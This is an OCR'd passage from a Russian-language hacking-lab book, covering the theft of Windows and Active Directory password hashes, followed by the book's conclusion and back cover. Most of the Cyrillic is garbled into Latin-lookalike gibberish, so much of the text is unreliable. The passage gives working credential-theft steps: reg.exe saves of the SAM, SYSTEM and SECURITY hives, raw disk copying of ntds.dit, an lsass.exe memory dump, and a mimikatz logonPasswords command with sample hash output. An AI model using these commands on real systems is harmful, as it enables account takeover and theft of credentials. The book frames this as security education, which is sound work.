rPaMMHBIM HHCTpyMeHT. MTak, BameMy "aIMHHY" [OCTAaTOYHO, HAIPHMEp, HpHMe-
HATh Mommeidmyo nporpammy Windows Password Recovery (Passcape Software,
http://www.passcape.com/). '

VYnomsHyTas nporpaMMa IOMOXET IIPOM3BECTH HMIIOPT X3m-pyHKIpu napois (puc. 7.33)
m3 AD cooTBeTcTByIOINEeH HY)XHOW €My y4YeTHOH 3alcH, Jaxke HeCMOTpsS Ha TO, UTO
¢aiin Gyzner "3aHAT" CUCTEMOIA.
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Puc. 7.33 !

XoTs mporpamMMa IuiaTHast, Ho GYHKIMS UIMIOpTa paboTaeT U B AeMO-BepcHH. B kpaiiHeM

- clly4ae, CTOMT TIpOrpamMMa HeIoporo, a 06afaeT MOIHEHIIMKI BO3MOKHOCTSMH (B TOM
yuciie ecTh noanepikka texHonorsu Cuda). Keratn, xakep sierko Haiier B MHTEpHETE
BEPCHIO C CEPHUITHBIM HOMEPOM.

B kauecTre ;1aGopaTopHO# paboTHI, YTOGEI NOHATH, KaK "BHITAIMTE" X3M-QYHKIMH 13
6a3bi AD, npoBezieM clieAyIOIuil S5KCIIEPUMEHT:

1. VcranoBum cepsep Windows 2008, ucrions3ys Bce HACTPOMKH IO YMOTYaHHIO (B TOM
quCie A TPYTHIOBBIX TOMMTHK, mii AD u T. a.). 3aBemeM nons3oBatens Sidorov
(puc. 7.34). Cobmopmas TpeGOBaHMA TNOTHTHKM, HaM NpPHILIOCH yKa3aTh Napoib
(3necs — qazQAZ12), cocTosmmuii U3 CTPOYHBIX M MPOIMCHBIX CHMBOJIOB, BKJIFOYAlO-
1w g psl, 06Iel JTUHOM 8 CHMBOJIOB. ’

2. V6emumcs, uro daiin ntds.dit mpocTo Tak He ckormpyems (puc. 7.35).

3. MmnoprupyeM Xsm-QyHKIMH W3 3aHATOro cucreMoii ¢aiina ntds.dit B mporpamMmy
Windows Password Recovery (puc. 7.36).

B mofTyueHHBIX B pe3y/IbTaTe MMIOPTA JaHHBIX YBHIUM, YTO [l YYETHOH 3aIicH
sidorov ecTh X3mm-pyHKIMH He TOMBEKO B Gopmare NTLM, Ho u B popmare LM. A MbI
yoke 3HaeM, 9TO 3TO KpaiiHe HexeNlnaTenbHo.

Hy>xHO moHMMaTh, 9TO HOGHITH Balml Mapoib MOXKET HE TOJNBKO aAMHHHCTPATop, HO M
JpyTO#i JieranbHbIH MOJIb30BaTellb, HAIIPUMeD, YeJIOBEK, OTBETCTBEHHBI 3a BEIIOJIHEHHE
pesepBHBIX kommii cucreM. C MHcalitepaMu BooGe TpyaHO crpaBuThes. Kak mpasmito,
BCE YCHJIMSA MO 3amuTe HHPOpPMaLUK HAMpPaBJIAIOTCA Ha BHEHIHETO Bpara, H 5TO SBISETCH
OJTHOM 3 CAaMBIX PaCHPOCTPAHEHHBIX OMMGOK B MOTMTHKE 6€30TMaCHOCTH YUpeXICHUS.

K crnoBy ckasatk, AD Boo6le 4acCTeHbKO KPHTHKYIOT HIMEHHO TI0 BONPOCAM KPHITTOTpa-
¢vm. Bot omuH U3 rpoMkux 3aronioBkoB B CMU (uutata): "95% xpynnetiuux xomnanuii
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no ecemy quiy noosepoicenbl pucxy U3-3a YA36UMOCHIU 6. Actzve Directory”, n nanee
B TekcTe coobmenus: "Ilo cnoeam uccredosameneii, Hecmomps Ha éce. meper Gesonac-
Hocmu, cnaboe wuc])poeauue nosgonsem 310yMuluiieHHUKam be3 a6MOPUSAYUY UMEHAMD
naponu scepms”.

To3BOJIBTE BHOBH HEMHOTO OTKJIOHHTECS B CTOPOHY. Pa3 yxk MBI 3arOBOPHUIH B 3TOMH Iiia-
BE O TPYHHOCTAX KOIUPOBaHUs (aiiiioB, 3aHATBIX CHCTEMOMH, TO NPEAOCTABIAETCS 3aMe-
4aTeNbHBIH NOBOJ YIIOMAHYTh NPO OJHY M3 NMPOrpaMM, BXOIAINMX B 00fA3aTeNbHEIA Ha-

" Puc.7.35 ' -



234 - : 7 . TInasa7

, : Puc. 7.36

7

60p xakepa. Kommposate 110106HbIe (aiiiibl IeTKO He HA yPOBHE CHCTEME], a Ha (bnsme-
CKOM YpOBHE, CUMTHIBas HX C JCKa AMCKOBBIM pefakropoM WinHex (http://www.x-
ways.net/): BEIGupaeM KOMaHJy Open disk, HaxomM HyXHbIH (aiin u Jasee BBIIONHS-
eM KoMaH[y KonupoBaHus Recovery/Copy B HyHyt0 Ham nanky (puc. 7.37).

ﬁ\"éw T .‘ . .,.I_. —— _‘ e

Viewer Programs P

JSECURITYLOG
Offset )
000EB6F000 |
000EBGFO10 | 4D
000EBEF020 | 01 Copy "SAM"

Puc. 7.37

TIpuMedaTeNbHO TO, YTO HporpaMma paboTaeT U 6e3 YCTaHOBKH, a 3T0 O4€Hb y06HO hiue
HHCaliNepa, 3afTycKkas ee ¢ (riem-KapThl U OCTaBIsis MEHUMYM CIIE/IOB. Evaluatlon-Bepch
NMpOrpamMMbl EOTMpYeT ¢aiinel pasmepom He Gonee 200 KGaifT, HO uid Xakepa 3TO He
npobneMa, T. K. MIHTepHeT HanoJHeH CpPeACTBaMH UIA NOMYYeHHS MOTHOQYHKIMOHATb-
HO#t Bepcuu. TakuM crocoGoM, ¢ IOMOIIBIO 3TOM IPOrPaMMbI MOKHO KOITMpOBaTh (aii-
nel: sam, security, ntds.dit... Jlio6sie apyrue ¢aiins Toxe! M naxe daiin noakauxu! Bor.
YK TZIe €CTh, YTO MOM3Y4aTh CHCTEMHOMY aJIMHHKCTPAaTOpy BO BpeMs paboThI MOIB30Ba-
Tesel Ha Ge3UCKOBBIX CTAHLMAX B TEPMUHATBHOM CpeTe. ..

CyluecTByeT MHOXKECTBO Pa3IMIHBEIX PHEMOB M TIPOrPaMM Ui TOTO, YTOOBI IIOXUTHTE
XOII-QyHKIMH naposeil B orepalMoHHbIX cucteMax Windows, B TOM 4HCIIe HETIOCPENCT-
BEHHO W3 omepaTHBHOW mamaTH. Ho CKpHITHOE NpHUMEHEHWe IporpaMM, MOAOOHBIX
wcee.exe (Windows Credentials Editor), mis 3J0yMBINUIEHHHKA 3aTPyIOHEHO B CBS3H
C TeM, YTO, KaK MpaBwWIo, Bce OHH OOHAPYKMBAIOTCA aHTHBHpycaMu. U 31ech, ¢ Lenbio
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OCTATBCS HE3aMETHBIM, OH MOJKET IIPOBECTH CICHUAIBHYIO NPeABaPUTEIbHYIO IIOATrOTOB-
Ky KPaKH CPeACTBaMH CaMO# OIlepamoHHON cuctemsl. Hampumep, mis Toro 4ro6si
TIOTYYHTh JaHHBIE ¢ X3M-()YHKLMAMHE JIOKATBHBIX T0JIB30BaTelel, ecTh crnocol mpocTo
BEITPY3HTB HeOGXO/IUMEIE BETBH Pe€CTPa, HCIIONB3ys PeAAKTOp peecTpa:

reg.exe save h'klin\‘secﬁrity security.dmp
reg.exe save hKlm\system system. dmp :
reg.exe save hk]_m\sam sam. dmp-

‘

A nanee Bce TpH (aiina mepeHocsTCS Ha npyron KOMITLIOTep, Iz © HI/IMPI MOJKHO yxe
CIIOKO#iHO mopaGoTaTh moGo# noxxozsmeit mporpaMMoii. Jla XoTs GBI yke yHOMSHYTOMH
panee Windows Password Recovery. Minu kakoi-mm6o Apyroii. IIpOI’paMMOH HyCTh JaXe
¥ 0OHapy)KMBaeMO}i aHTHUBHpPYCaMy (GHTHBUPYCHYIO nporpammy MOXKHO Ha BpeMs OT-
KITIOYHTE).

[Ipagna, 3T0T HpMBENECHHBIH MPUMeD MOXeT GBITh MeHee HHTEPECEH TIOXUTHUTEINO, YEM
HCTIOJIb30BaHHE WCE.EXEe (u B 0COOEHHOCTH Ha cepBepax). XoTa 6Bl I0TOMy, 4TO MOI00-
'HOE — BCe ke He BBITPY3Ka JaHHBIX HETIOCPEICTBEHHO M3 IIAMATH aTaKyeMOro KOMIIBIO-
Tepa. Tak 9ro e nenats? Ho, u 31eck ecTs pemenue! OKkasbBaeTcs, BO BCEX NMOCIIEIHUX
Bepciiax Windows cymiecTByeT IpOCTOM, BIOJNHE JETHTHMHBIA CIOCOO cresiaTh namil
npouecca lsass.exe, HakaB KOMGHHALWIO KIABHII <Ctrl>+<Alt>+<Del>, a nanee BsI3BaB
COOTBETCTBYIOINEE MEHIO II0 npaBon KHOTIKE MBILIH (pnc 7.38) u, HakoHeIl, coxpamns
BCe B (ailr.

RGP S 2

Puc. 7.38

Hanee. . mporpammoii mimikatz.exe (http:/blog.gentilkiwi.com/mimikatz) uywmTaloTcs
H 3alMCHIBAIOTCS B JIOI BCE HEOOXOTUMEIE AaHHBIE IyTEM IPUMEHEHWS ClIeayroIeH
KOMaH/IbIL:

mimikatz.exe log "sekurlsa::minidump lsass.dmp" sekurlsa::logonPasswords exit

B UTOre 3JI0yMBIIUIEHHHK TIOTyYaeT B TEKCTOBOM (aiiie mimikatz.log xsm-dyHximu
napoieii ¥ MHOro Apyro# moje3Hoi MHpOopMaLyK, B TOM YHCIIE H naponn B OTKPBITOM
Buge (puc. 7.39).

Tax YTO, €CJIH BHI ABJIICTECH aIlMPIHI/ICTpaTOPOM H CaauTeCh 3a ‘-I}')KOPI KOMITBIOTEP aAMH-
HHUCTPUPOBATD, 3HaliTe — Balld HaPOJTPI MOFyT JICTKO CTaTh AOCTYITHBIMH J'l]O60My Apy-

romy.
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T npocroTp mimikatz.leg - Far

Using "mimikatz.loy’ for legfile : OK

mimikatz{(commandline) #
Switch to MIRIDUMP =

sekurlsa::minidunp lsass.DMP
ass.DMP’

*1
ninikatz{commandline> #
f

zsekurlsa::logonPaszswords
Opening : ‘lzass.DMF’

ile for minidump...

fAuthentication Id : @ ; 331321 <(DEUBUGOD:B0050e11>
Session : Interactive from 1
i .
: NBR /
: §-1-5-21-4064715732-2383756771-1471517470-1000

msy 3
[00ReOENA3 1 Primary
* Username @ NB1l
Demain : WBR
LM : hR671INOf87ffBdeaad3b435h51453ea
NTLM ad1255e95fhab%4a5d%alf 3bccfa5747?
: hf2ab7bh937db4ad12085h28608hhdc20et26cB84ad8

¥ K X ¥

e

: §3aBH571

: MB1
: NBR
: B3alH571

Lamd
x

DK K KD KK KTHX K KO

: NB1
: NBR
@ B3alBH57i

@

: NERNadmin
1 192.168.0.2
§3aBH571

: N\N\1%2.168.B.55\user_n
1 192.168.0.2
83aB#571

Cnulld

Puc. 7.39

Ecnu e BbI JAOBEPYHUBO IIYCTWIH HA MHUHYTKY 3HaKOMOI'O ‘Ha CBOH KOMIIBIOTEP, a CaMH
OTOIJIN IIPHTOTOBUTH KO(beﬁI(y, TO HC HCKIIXOYCHO, YTO BallH JAHHBIC OBLTH nepernpas-
JICHBI 10 TTOYTE JJIA JajlbHEHIero u YK€ HECIICITHOT'O BOCCTAHOBJICHUS U3 HUX IIapOJIi.

Ho BepHeMcs Kk mpepBaHHOMY HaMH pasroBopy o cepBepax u Active Directory. UroOsr
3aIIUTHTh aJMUHHCTPATUBHBIC y4eTHBIE 3alMCH OT aTakK, CBA3AHHBIX ¢ Kpakel Xoum-
¢yuxumii, ObUT mpuAyMaH MexaHu3M Manager Service Accounts. 3To ympapiseMbie
' y4YeTHbIE 3aIWCH, KOTOpble 00ecneYuBalOT aBTOMATHYECKOe YIIpaBJieHHe MapoJsiIMH H
MMEHaMH CITyX0-yJaCTHUKOB, BKIIIOYasi J€IErHpOBaHME YITPABIECHHAA APYTHM aIMHHHUCT-
paTopaM. B ocHOBe MeXxaHH3Ma JIXKHUT aBTOMAaTHYeCKas yacTas CMEHa mapoliei (Harpu-
Mep, pa3 B Mecsil) U1 TAKUX YYETHBIX 3alkceii, IpUMEHEHHe CII0XKHBIX Mapojiei U T. II.

W nHanocnenok BHOBb BEpHEMCS K pamy>KHbIM TaOnuuaMm. B Bume uckmodeHws, u3-3a
BaXHOCTH TEMBI 3TOH FJIaBbl B 3aKIIOYEHHMH 3aMETHUM (XOTS BONpPOCHI 3allUTHI HE A
JAHHOTO pasjiernia KHUTH), YTO OJHUM M3 METOJOB 3alUTHI OT aTak ¢ IPUMEHEHHEM pa-
Ty KHBIX TaGJIHIl ABJIAETCS MCIIOJIb30BaHUE "CONEHBIX" X3II-QyHKIIMM, KOTOphIE BKIIOYA-
10T salt (conb) — HEKWil CABUT WIH, TOYHee, MOAu(UKaTOp napois. A B ONEpaLOHHBIX
cucteMax Windows, €ciii Ha Bac HE BHUCAT TSDKKHM IPy30M BOIIPOCHI COBMECTHMOCTH,
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CTIEIMAMCTEL COBETYIOT HCNONMb30BaTh NTLMv2 xsm-¢ysxipm. B TakoM ciaydae, mpu
HacTpofike GesomacHoCTH, K HpuMepy, Ha cepsepe Windows IpHIIIOCE GBI B YaCTHOCTH
ZenaTh HaCTPOWKH TPUMEPHO Tak, KaK noxasaHo Ha puc. 7.40, T. €. OTKa3bIBasACh OT CO-
BMECTUMOCTH C YCTapEBIIMMH WM "HE TaK" HACTPOCHHBIMH KJIMEHTCKAMH CHCTEMaMH.

RSCHGTTH

Brofamme METOLH FPOBEPKR ROQRMAIOCTR
mmmmmmsmmmmw
Manager fipk BLTIOIHENA BXORSEUMK IOAIBONEHIR ¥ COXpaHerMe xewa LAN Manager,

Puc. 7.40



3aknoyeHue

H3noxeHue 3TOH KHHUTH TaKOBO, YTO MOCJIEAOBATEIbHO BHUIasCh OT IPOCTOTO K CJIOXK-
HOMY, JaXKe €CJIM BBl TOJBKO HayaJld OCBauBaTh WH(OPMAIHOHHBIC TEXHONOIHH, BHl Ha-
KOHeI[ MOATOTOBIIKCH K TOMY, YTOOBI BCepbe3 3aHAThCS BOIpOcaMH MH(OPMaIMOHHOA
GesomacHocTd. KoHewHO, is 3TOr0 Majio MpOCTOrO HPMMEHEHHMS TOTOBBIX MPOTrPAMM.
Ho Tenepn, Koraa y Bac yske CTaio 9T0-TO MOTY4aThCsl, MOXKHO [IGPEATH M K H3Y4EHHIO
MPOrpaMMHpPOBaHMA, U 6a3 JAHHBIX, H CEKPETOB BEO-TEXHOJIOTHIA, 1a ¥ IPOYMM MPEMY -
POCTAM, KOTOpble HEOOXOIMMBI HACTOAIIEMY ITPO(ECCHOHAITY.

Haneemcs, 9T0 KHUTA MOMOTJIa MOJAHATH YPOBEHB Balieil OCBEIOMIIEHHOCTH B 001acTH
uH(popmarmonHo# 6ezomacHocTH. [IpuyeM momorna Tak, 9ro0bl Ha NPAKTHKE HUCIIONB30-
BaTh MOJy4eHHbIC 3HAHMS JIMIIb B [E/ISX 3alUTHI, 2 HE HallaCHUS.

Eciu BB B ICHCTBHTEIHHOCTH M3Y9WIM KHHTY, NPOJENATH BCE ONBITHL, TO HE MOIJIM HE
3aMETHTh CTPAaHHYIO Belb: OKa3bIBAacTCsH, ONEPaLMOHHBIE CHCTEMBI KOIAA-TO, NpH HX
TIepBOM TOSBJEHHH, MPONHAPEHHEIE pa3paboTIMKOM, KAK BEPX COBEPHICHCTBAa M Ge30-
MacHOCTH, CIyCTA JUITHTEJIbHOE BpeMs (Hampumep, Jiet 10) BAPYT OKa3pIBalOTCA HACKBO3b
JBIPSBBIMH (KCTaTH, MO3TOMY MX YAOOHO HCHOB30BaTh Ha CTEHJAAX NPH NMPOBEACHUH
3KcriepuMeHTOB). VIMEHHO HackBo3b! M OYEMy-TO B OTHOIIEHHH HE TaK JAaBHO MOSBHB-
MIAXCA CHCTEM B IDHPOKOM JOCTYIE OY€Hb Majo NMPOrpaMM, pealbHO AEHCTBYIOMUX U
HMCTIONB3YIOMUX YA3BUMOCTH. MoxXeT OBITh, KaK Pa3pabOTUMKH, Tak M IIMPOKUI Kpyr
HHTEPECYIOMHXCA Y3HAIOT O TAKOM KOJIMYECTBE YA3BUMOCTEH TOIBKO MO 3aKaT UCTIONb-
30BaHHA CHCTEM, KakK U MbI? Jlymaetcs, 9To 3T0 coBceM He Tak. CKopee BCero, COCTOSTHHE
OCBEJIOMJICHHOCTH 00 yS3BUMOCTAX KakoH-THGO CHCTEMBbI (He 0043aTe/IbHO ONeparoH-
HO# CHCTEMBI, BOOGLIIE JIF0OGOro MpOorpaMMHOro 0GecTiedeH s1) TAKOBO, KaK MPEICTaBIeHO
Ha pHc. 1, rie no BepTHUKaIM OTKIIAABIBACTCS MPOLIEHT OOHApY)KEHHBIX OIMHOOK OT 00Ime-
IO YHCJIa B CHCTEME, & TIO TOPU3OHTAIIH — BpeMs.

\
Ecim ckasaTh mpolne, TO MeTiA, HAOMHUHAIOMAA IETII0 THCTEPE3HCA, CHMBOIM3HPYET
TO, 4TO TOKa ONEPALMOHHAS CHCTEMA HE YCTapeeT, OOBIYHbIH YelOBeK MOXKET MOTYydHTh
JOCTYII K HHCTPYMEHTY POBHO HACTOJIbKO, HACKOJBKO €My pa3pelieHo "npuOiimkeHHbI-
MH", T. €. K MUHUMYMY. Om Hac ckpuiéaiom npaedy. IIOHATHO, 9TO Takoe OrpaHHYCHUE
OKAa3BIBAIOT T€, KTO B 3TOM 3aMHTEPECOBaH, KTO MMeeT BIUSIHUE — pa3paboTyMKy, Mpo-
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JaBUBI, CHELHATHCTH HX oOcHyxuBaromue... Yepe3 naTb-AecSTh JIET BBISCHHICS, 9TO
ONepaoOHHBIE. CHCTEMBI, BHIITYLIEHHbIE CETOAHA H KaKyIHecs BEPXOM COBEPINICHCTBa
1o 6e30MacHOCTH, OKKYTCH ABIPABBIMH, KaK H T€, KOTOPLIE HA TEKYIIHWH MOMEHT yCTa-
pemd. A k 9deMy MbI 310? [lenio B TOM, 4TO, M3y4as BOIpockl HHGOpMAIMOHHOH Oe3zonac-
HOCTH, He Hy>KHO FHaThCs 33 IONCKOM KOHKPETHBIX Opeilieii KOHKPETHBIX ONepalMOHHbIX
cucteM. HeoGxoquMo NMOIXOAUTE CHCTEMHO, pa3bupasich B mpuHUHNax. HMeHHO noato-
My TaKas KHHTa, KaK 5Ta — BCETO JIMIIb MalTeHbKas CTyTIeHbKa JIECTHHULBI K BEPIIMHE TOH
GalmHu, KOTOPYIO BaM ewle NPeACTOHT NPeoioeTh. Y CIEXOB BaM B 3ToM!

%A
100 < ——
.- -7
-
- / )
R
R
/ Metns sarosopa
10ner ¢
Bpems BbIXOAa HOBOW Bepcun 3710 ycnosHoe BpEMA.
NSl KOHKPETHON CUCTEMBI MOXET GbiTh,
K npumepy, 5 net
__ . __ YassumocTu, ussecTHbie paspaboTumky YA3BUMOCTY, N3BECTHLIE mﬁpoxomy
1 HeOONBLLIOMY KPYry CheuwanucToB Kpyry nonb3oBaTeneii

Puc. 1



JIABOPATOPUA

XA K I I A SkcnepumeHms! no xakuHay onsi
rnoemopeHusi 8 GoMaWHUX yCriI08UsIX

B kHure OTCyTCTBYWT peLenTbl MO B3fOMY
6nwxanwero 6aHkomara, oHa He npegHa3HaveHa
Ansa xakepoB. B Hel paccMoTpeHbl meToabl u
cpeacTBa XakepCcTBa C LUEMNbH MOHUMAHWUS U
NMPUMEHEHNST  COOTBETCTBYIOLUMX  MPUHLIMMOB
NPOTUBOAENCTBUSA UM.

B Buge o4epkoB onucaHbl MO3HaBaTENbHbIE
9KCMEPUMEHTbI,  KOTOpble  aBTOp  NPOBOAUT
BMecTe ¢ uutateneMm. dPaktuyecku, ato Habop
nabopatopHblx paboT, BbIMOMHUTL  KOTOPbIE
MOXET KaXblV XenaroLwmuin B JOMALUHUX YCNOBU-
Ax. KHura HacblweHa npakTuyeckumm npuemamm
no pasHoobpasHbiM Temam. Wcnomnb3yemble
nporpammsbl, kak npasuno, 6ecnnatHbl. OnucaH
psig, cnocoboB nepexsata naporei, B3noma
Wi-Fi-ceTel, ganbHenume OEACTBUS 3M0YMbILL-
NIeHHUKa nocre MPOHUKHOBEHUSI B JOKalbHYH
ceTb xepTtBbl. PacckazaHo 0 wudpoBaHum
AaHHbIX, cnocobax COXpaHEHUSI WMHKOTHUTO B
UHTepHeTe, MeTogax B3noma naponen us 6asbl
Active Directory. MHOro BHWMaHus yaeneHo
N3yYEeHUI0 XaKuHra ¢ ucnonb3oBaHMeM cmapTdo-
HOB. [logpoBOHO paccMOTpeHbl MNpakTu4eckue
METO/bl FeHepaLunn 1 UCMNOoNb30BaHUsSt pady>XHbIX
Tabnuy,

3a cuyeT noApPOGHOrO OMUCaHUS HaCTPOEK,
Ka4yeCTBEHHOW Bu3yanusauuu matepwuana, npe-
obnagaHusa opueHTupoBaHHocT Ha Windows-
cuctembl (ana npumepoB ¢ UNIX noapo6Ho
OMUCbIBAETCS KaXabli Liar), KHUra uHTepecHa u
NOHSATHa MtoBGOMyY NONb30BaTEN NEPCOHANBHOro
KOMMbloTepa: OT CTaplueknacCHUKa U CTydeHTa
0o npocpbeccroHana.

BabuH Cepren AnekcaHgpoBuy
6onee naTHaguatu neT paboraer B
obnactn 3awmTbl  MHMOPMAaLMOH-
HbIX TexHornormi B ©GaHKOBCKOW
chepe. PaHee sBnsncs rnaBHbIM
agMUHUCTPATOPOM  KOMIMbIOTEPHOW
CeTU  KPYMHOro  pernoHanbHoro ISBN 978-5-9775-3535-9 BXB-NETEPBYPT
6aHka M 3aHMMancs CUCTEMHbIMM 191036, CarkT-MeTep6ypr,
npobnemamu n TenekoMmyHukauusimu. HeogHo- ToHyapHas yn., 20
KpaTHO NyGMKOBasCs B LEHTPasbHbIX XypHanax Ten.: (812) 717-10-50
Mo KOMMbKTEPHOW TemMaTuke, WHTEepHeT-u3ga- 339—54-17,339-54-2é
9li7 85

E-mail: mail@bhv.ru
Internet: www.bhv.ru

HUAX, cneumansHon nutepatype. ABTop 6ecTtcen-
nepa «MHCTpymeHTapuii xakepa.

9771535359






